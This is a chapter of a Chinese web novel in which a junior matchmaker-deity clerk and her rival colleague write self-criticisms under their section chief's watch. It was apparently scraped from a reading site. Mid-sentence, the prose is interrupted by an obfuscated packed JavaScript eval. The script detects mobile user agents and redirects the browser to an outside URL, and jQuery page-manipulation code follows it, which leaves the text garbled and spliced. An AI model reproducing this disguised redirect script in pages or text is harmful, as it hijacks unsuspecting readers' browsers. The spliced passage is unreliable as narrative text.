“桃喜宁,这里是你负责的辖区。你们两个,都去你那边月老庙里写。写不完,今晚谁也别想走!我亲自看着你们写!” …… 桌子的两头,桃喜宁占据一头端端正正地坐着写检查,另一头则是马奋进,同样奋笔疾书。 李帅则是背着手,在房间里来回踱步。 写着写着,桃喜宁熬不住稍微放慢了笔速,背脊也有了一丝松懈的弧度,立时就感觉到头皮一阵发麻。 她小心翼翼地抬起头,就看到刚刚还在房间里来回踱步的李帅——此时已经悄无声息地走到了面前,就那么静静地盯着自己。 桃喜宁的背脊瞬间挺得笔直,手中的笔也舞动得飞快,在纸上留下一行行潦草却不敢停歇的字迹。 房间里安静得近乎凝滞,只有笔尖划过、时发出的“沙沙”声,单调而持续。 “呼——总算写完了!” 桃喜宁猛地将笔一搁,整个人向后靠倒在椅背上,长长地地吐出一口气。 对面的马奋进笔尖一顿,抬起头,看了一眼桃喜宁面前那厚厚一叠写满字的纸,又看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023014|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了看自己还剩下小半页的纸张,眉头立刻拧了起来,脱口而出。 “还说你不是在跟我争?连写检查都非要比我快一步!” 他的语气里充满了不服气,仿佛这又成了桃喜宁竞争意识的体现。 桃喜宁连个白眼都不想翻,有气无力地挥了挥手。 “放心,放心,马同事……你这才刚上任,以后……呃,经验丰富了,写检查的机会多的是。熟能生巧,很快你就能超越我的速度了,真的,不骗你。” 她本意是想说“以后犯事多了”,话到嘴边硬生生拐了个弯。 “啪!” 一声脆响,李帅的手掌重重拍在桌子中央。 “以后?还要经验丰’?还想有更多机会写检查?!”他的声音陡然拔高。 桃喜宁被吓得浑身一抖,差点从椅子上滑下去。 “不不不!李科长我瞎说的!口不择言!以后肯不会再犯事,也绝对不需要再练习写检查了!” 她赶紧坐直身体,双手规规矩矩放在膝盖上。 李帅冷哼一声,显然是没完全消气。 他背着手,走到中间,宣布了另一项处罚:“这段时间你们出的外勤,折算成信仰值,从这个月的薪水里扣!绩效评级也会受影响!” 桃喜宁内心顿时泪流满面,仿佛听到了信仰值“哗啦啦”流失的声音。 她忍不住在心里吐槽:【李科长啊李科长,要是不想维护业绩,您当初怎么会那么痛快就审批了我频繁的外勤申请。我上次垫付的那笔加急红线快递费,报销流程走了这么久都没见您批得这么积极迅速过……”】 当然,这些话桃喜宁是一个字也不敢说出口的。 她的脸上依然保持着最诚恳的认错表情,连连点头:“是是是,李科长说得对,扣得好,我们深刻反省。” 李帅将两份检查仔细收好,又严厉训诫了一番,这才一步三回头地离开了月老庙。 直到他的身影彻底消失,桃喜宁才彻底松懈下来,感觉浑身骨头都散架了。 她看着对面仍对自己横眉冷对的马奋进,叹了口气。 “我说,马同事……”桃喜宁揉了揉眉心,“我今晚过来的时候,还以为你多少知道些规矩……“看来,你补录进来的时候,错过了我们月老部那期统一的新晋员工培训吧?” “后来李科长是不是……也没给你详细讲过仙界驻人界办事处的规定?” 马奋进的脸上慢慢浮现出一丝不确定的空白,语气也多了几分茫然:“当时李科长很忙,说那些规定,自己看看就行……” “显然是我想的那样。”桃喜宁一副果然如此的表情。 她掏了掏,摸出一个小册子,“啪”一声拍在马奋进面前的桌子上。 “呐,马同事,拿去,不谢。”桃喜宁指了指小册子,“熟读并背诵,能保你少写检查,少扣信仰值。” 马奋进将信将疑地拿起那本看起来颇具分量的小册子,翻开第一页。 只见第一条,赫然是:“仙界驻人界各办事处员工,为免被凡人发现身份,严禁擅自在人界进行任何形式的私斗。所有冲突须按流程上报,由上级协调或依规处理。违者严惩不贷。”